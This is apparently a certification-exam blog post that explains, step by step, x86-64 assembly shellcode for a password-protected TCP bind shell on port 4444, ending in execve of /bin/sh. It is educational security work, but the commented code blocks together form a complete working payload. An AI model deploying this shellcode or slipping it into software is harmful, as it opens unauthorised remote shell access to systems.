This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification
:
https://www.pentesteracademy.com/course?id=7
Student ID: PA-30398
The source code for this assignment is stored at the following link: rbctee/SlaeExam.
There's only one file, named bind_shell_tcp_password.nasm
, which is the NASM file containing the assembly code for a TCP bind shell protected by password.
The logic is pretty straightforward:
Now that I have outlined the specific steps, it's time to delve into the practical details.
For each step, I'll provide an explanation and the relevant assembly code, along with some comments to help reading it.
As shown in the initial diagram, the first step one has to follow when writing a bind shell is to create a socket.
Since our bind shell is based on the TCP protocol, I'm going to create a simple TCP socket.
While on 32-bit x86 systems you have to go through the syscall sys_socketcall
to perform operations e.g., creating socket, or connecting to sockets, on 64-bit x86 systems there's a specific syscall for each operation.
In our case, the relevant syscall is named sys_socket
in the figure below and it allows us to create various types of sockets (TCP, UDP, etc.). This syscall accepts three arguments:
family
is an integer specifying the family of the socket; in my case AF_INET
, which indicates the IPv4
protocoltype
indicates the type of socket, for example TCP or UDPprotocol
indicates the protocol used for the specific type of socket; in this case there's only the TCP protocolTheory aside, the assembly code for creating a TCP socket is really short. If you focus on the size of your shellcode, you can fit under 15 bytes:
global _start
section .text
_start:
CreateSocket:
; clear registers for later usage
xor rsi, rsi
mul rsi
; 1st argument of socket(): communication domain
; in this case AF_INET, so it's based upon the IPv4 protocol
push rdx
pop rdi
add rdi, 2
; 2nd argument of socket(): type of socket
; in this case: SOCK_STREAM, which means it uses the TCP protocol
inc rsi
; 3rd argument: https://stackoverflow.com/questions/3735773/what-does-0-indicate-in-socket-system-call
; syscall socket()
add eax, 41
; create socket and save the resulting file descriptor inside RAX
syscall
If you were to debug the assembly instructions shown above and stop right after the syscall
instruction, you may notice the creation of a new file descriptor, like this one:
ls -la /proc/43453/fd/
lrwx------ 1 kali kali 64 Feb 28 16:16 /proc/43453/fd/3 -> 'socket:[608794]'
What the shellcode did is create a new file descriptor for the socket object. This is due to the fact that on Linux everything is a file, sockets too.
Once the socket object is created, it's time to bind it to our socket of choice. To perform this operation, we can use the homonymous syscall, which accepts three arguments:
sockfd
is the file descriptor of the socket created previously by means of the socket
syscalladdr
is a pointer to a sockaddr
structure containing all the information to perform the binding, such as the IP address and the TCP portaddrlen
indicates the length of the sockaddr
structure, usually 16 bytes (including padding bytes)In the code below, I'm binding the created socket object to the socket0.0.0.0:4444
to later listen for connections on all the IP addresses of the host.
BindSocket:
; save file descriptor inside RSI
; 1st argument of bind(): file descriptor of the socket to bind
xchg rax, rdi
; INADDR_ANY (0x00000000)
; TCP port 4444
; 0x00002 -> AF_INET
mov esi, 0x5c11ffff
xor si, 0xfffd
push rsi
; 2nd argument of bind(): pointer to the sock_addr struct
mov rsi, rsp
mov r10, rsi
; 3rd argument of bind(): size of the struct
add edx, 16
; syscall bind()
xor eax, eax
add rax, 49
; bind socket to 0.0.0.0:4444
syscall
4444
The next step involves the listen
syscall, which marks the socket referred to by sockfd
as a passive socket i.e., a socket that will be used to accept incoming connection requests using accept()
. According to the Linux manual, the listen
syscall accepts two arguments:
sockfd
is the file descriptor of the previously created TCP socket objectbacklog
is an integer specifying the maximum number of clients allowed to connect to the socket, which in this case it's just one since there's no multi-threading involvedFollows the assembly code relevant to this function:
Listen:
; 2nd argument of listen(): backlog (number of connections to accept), in this case just 1
xor rsi, rsi
mul rsi
inc rsi
; 1st argument of listen(): file descriptor of the socket
; the value is already stored inside RDI
; syscall listen()
add eax, 50
; call listen(fd, 1)
syscall
Once a socket is set as passive, it can accept incoming connections by calling the syscall accept
. This one is a little more complicated than listen
, since it has to store some data regarding the client socket.
First things first, the syscall accepts the following arguments:
sockfd
is the file descriptor of the listening socketaddr
is a pointer to a sockaddr
structure that, after calling accept
, will contain data about the client such as the source IP address and the source TCP portaddrlen
is an integer indicating the length of the sockaddr structureWe can shorten the assembly code by cheating a little bit: setting the second and third arguments to NULL
, since we don't really care about the source address of the client.
However, it could be useful if you wanted to implement some kind of check on the source IP or the source TCP port, for example to allow connections only from a specific IP address.
Below is the assembly code for this step:
AcceptIncomingConnection:
; 2nd and 3rd arguments of accept(): NULL and NULL
; according to the man pages, we can use this approach when
; we don't care about the address of the client
xor eax, eax
mov rsi, rax
; 1st argument should be unchanged
; syscall accept()
add eax, 43
; invoke accept()
syscall
; save file descriptor of the client socket for later usage (dup2)
mov rdi, rax
As mentioned in the excerpt of this post, one of the requirements of the shellcode, besides being free of NULL
bytes, is to be protected by a password.
We can achieve this by using the syscall read
in order to read some bytes from the client and comparing them to a hard-coded password.
Doing this, once a client connects to the bind shell, it has to send the password before being able to execute commands on the remote system.
The syscall read
is very basic:
read() attempts to read up to
count
bytes from file descriptorfd
into the buffer starting atbuf
.
It accepts three arguments:
fd
is the file descriptor from which to read bytesbuf
is the base address of the buffer that will contain the bytes readcount
is the number of bytes to readTo perform this kind of control, I wrote a routine named CheckPassword
:
CheckPassword:
; 3rd argument of read(): number of bytes to read
add rdx, 8
; allocate 8 bytes on the stack for storing the password
sub rsp, rdx
; 2nd argument of read(): pointer to buffer which will store the
; bytes received from the client
mov rsi, rsp
; 1st argument of read() (client socket) shoud be unchanged (RDI)
; syscall read()
xor eax, eax
; call read()
syscall
pop rbx
mov rax, 0x0a32322174636272
xor rax, rbx
jz IO_Redirection
ExitWrongPassword:
xor eax, eax
add eax, 60
syscall
If the flag ZF
isn't set after the XOR
operation, it means the password sent by the client is different from the hard-coded password (rbct!22
followed by a newline).
In that case, the shellcode enters the ExitWrongPassword
routine, ending the execution of the shellcode.
Now you may ask: why the need for I/O redirection? Can't we just spawn a shell and be done with it?
Well, the answer is no. If we were to spawn a shell right away, the input and the output of the shell would be bound to the local system.
This means that the attacker wouldn't be able to execute commands, as the input of the client socket won't be redirected to the system shell.
Similarly, the attacker wouldn't be able to receive the output of the commands executed from the shell since the output is not redirected to the client socket.
For this reason, we're going to redirect input
, output
, and error
, in order to provide the attacker an interactive shell.
To do this, we can take advantage of the syscall dup2
. In particular, using this syscall it's possible to redirect stdin
, stdout
, and stderr
of the program running the shellcode towards the file descriptor of the client socket.
Follows the assembly code for this routine:
IO_Redirection:
xor ecx, ecx
mul rcx
add ecx, 2
DuplicateFileDescriptor:
; 1st argument of dup2(), file descriptor of the client socket, should be unchanged (RDI)
; 2nd argument of dup2(): file descriptor to redirect: stdin/stdout/stderr
; in this case the value is stored inside RCX -> 2,1,0
push rcx
; syscall: dup2()
push rdx
pop rax
add eax, 33
; 2nd argument of dup2(): file descriptor to redirect
mov rsi, rcx
; call dup2()
syscall
pop rcx
dec rcx
jns DuplicateFileDescriptor
The final step consists of calling the syscall system
, in order to execute a shell e.g., /bin/sh
or /bin/bash
.
Once the shellcode spawns the shell, thanks to the previous redirection of stdin
, stdout
, and stderr
, the attacker will have an interactive prompt, as if they were in front of the terminal.
It means the client will be able to execute system commands, read output, and possible error messages.
SpawnSystemShell:
; clear RAX register (zero-sign extended)
xor eax, eax
; NULL terminator for the string below
push rax
; 3rd argument of execve: envp (in this case a pointer to NULL)
mov rdx, rsp
; string "/bin//sh"
mov rbx, 0x68732f2f6e69622f
push rbx
; 1st argument of execve: executable to run
mov rdi, rsp
; 2nd argument of execve: array of arguments passed to the executable
push rax
push rdi
mov rsi, rsp
; syscall execve
add eax, 0x3b
; invoke execve
syscall